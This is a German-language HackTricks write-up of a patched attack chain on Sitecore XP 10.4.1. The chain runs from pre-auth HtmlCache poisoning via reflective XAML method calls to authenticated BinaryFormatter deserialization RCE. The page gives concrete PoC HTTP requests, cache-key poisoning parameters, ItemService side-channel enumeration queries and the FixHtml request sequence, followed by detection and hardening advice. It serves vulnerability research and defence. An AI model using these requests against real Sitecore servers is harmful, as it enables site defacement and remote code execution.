Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Diese Seite fasst eine praktische Angriffskette gegen Sitecore XP 10.4.1 zusammen, die von einem pre‑auth XAML handler zu HTML cache poisoning pivots und — über einen authenticated UI flow — zu RCE durch BinaryFormatter deserialization führt. Die Techniken verallgemeinern sich auf ähnliche Sitecore‑Versionen/-Komponenten und liefern konkrete Primitives zum Testen, Erkennen und Härten.
- Betroffenes Produkt (getestet): Sitecore XP 10.4.1 rev. 011628
- Behoben in: KB1003667, KB1003734 (Juni/Juli 2025)
Siehe auch:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Der Einstiegspunkt ist der in web.config registrierte pre‑auth XAML handler:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Zugänglich über:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Der Control-Tree enthält AjaxScriptManager, der bei Event‑Anfragen vom Angreifer kontrollierte Felder ausliest und reflectiv Methoden auf Ziel-Controls aufruft:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Wichtige Beobachtung: Die XAML-Seite enthält eine XmlControl-Instanz (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl erbt von Sitecore.Web.UI.WebControl (einer Sitecore-Klasse), die die ReflectionUtil.Filter allow‑list (Sitecore.*) passiert und dadurch Methoden auf Sitecore WebControl freischaltet.
Magische Methode für poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Da wir xmlcontrol:GlobalHeader anvisieren und Sitecore.Web.UI.WebControl-Methoden namentlich aufrufen können, erhalten wir eine pre-auth beliebige HtmlCache write-Primitive.
PoC-Anfrage (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Notes:
- __SOURCE ist die clientID von xmlcontrol:GlobalHeader innerhalb von Sitecore.Shell.Xaml.WebControl (häufig stabil wie ctl00_ctl00_ctl05_ctl03, da es aus statischem XAML abgeleitet wird).
- Das Format von __PARAMETERS ist Method("arg1","arg2").
Was zu vergiften ist: Aufbau des Cache-Schlüssels
Typische Konstruktion des HtmlCache-Key, wie sie von Sitecore controls verwendet wird:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Beispiel für gezielte poisoning für ein bekanntes Sublayout:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Auflisten cachefähiger Elemente und “vary by” Dimensionen
Wenn der ItemService anonym (fehl)exponiert ist, kannst du cachefähige Komponenten auflisten, um exakte keys abzuleiten.
Schnelle Probe:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Liste cachebarer Elemente und Flags:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Suchen Sie nach Feldern wie Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Gerätenamen können über folgendes aufgelistet werden:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
Auch wenn ItemService sich als ein eingeschränktes Konto (z. B. ServicesAPI) ausgibt und ein leeres Results-Array zurückgibt, kann TotalCount weiterhin pre‑ACL Solr‑Treffer widerspiegeln. Du kannst item groups/ids mit wildcards brute-force und beobachten, wie TotalCount konvergiert, um interne Inhalte und Geräte zu kartieren:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Erreichbar über den convertToRuntimeHtml pipeline step ConvertWebControls, der nach einem Element mit der id {iframeId}_inner sucht und dieses base64 decodes + deserializes, anschließend den resultierenden String in das HTML injiziert:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Auslösen (authentifiziert, Content Editor‑Rechte). Der FixHtml-Dialog ruft convertToRuntimeHtml auf. End-to-end ohne UI-Klicks:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Komplette Kette
- Pre‑auth‑Angreifer vergiften den HtmlCache mit beliebigem HTML, indem sie WebControl.AddToCache reflektiv über XAML AjaxScriptManager aufrufen.
- Das vergiftete HTML liefert JavaScript aus, das einen authentifizierten Content Editor durch den FixHtml‑Flow schiebt.
- Die FixHtml‑Seite löst convertToRuntimeHtml → ConvertWebControls aus, welches vom Angreifer kontrolliertes base64 via BinaryFormatter deserialisiert → RCE unter der Sitecore‑App‑Pool‑Identität.
Erkennung
- Pre‑auth XAML: Anfragen an
/-/xaml/Sitecore.Shell.Xaml.WebControl
mit__ISEVENT=1
, verdächtigem__SOURCE
und__PARAMETERS=AddToCache(...)
. - ItemService‑Probing: Anstiege von
/sitecore/api/ssc
Wildcard‑Abfragen, großerTotalCount
mit leerenResults
. - Deserialisierungsversuche:
EditHtml.aspx
gefolgt vonFixHtml.aspx?hdl=...
und ungewöhnlich große base64‑Werte in HTML‑Feldern.
Härtung
- Wende Sitecore‑Patches KB1003667 und KB1003734 an; sperre/deaktiviere pre‑auth XAML‑Handler oder füge strikte Validierung hinzu; überwache und rate‑limitiere
/-/xaml/
. - Entferne/ersetze BinaryFormatter; beschränke den Zugriff auf convertToRuntimeHtml oder erzwinge starke serverseitige Validierung der HTML‑Editing‑Flows.
- Sichere
/sitecore/api/ssc
auf Loopback oder authentifizierte Rollen; vermeide Impersonierungs‑Muster, dieTotalCount
‑basierte side‑channels leak. - Erzwinge MFA und least privilege für Content Editor; prüfe CSP, um den Einfluss von JS steering durch cache poisoning zu reduzieren.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.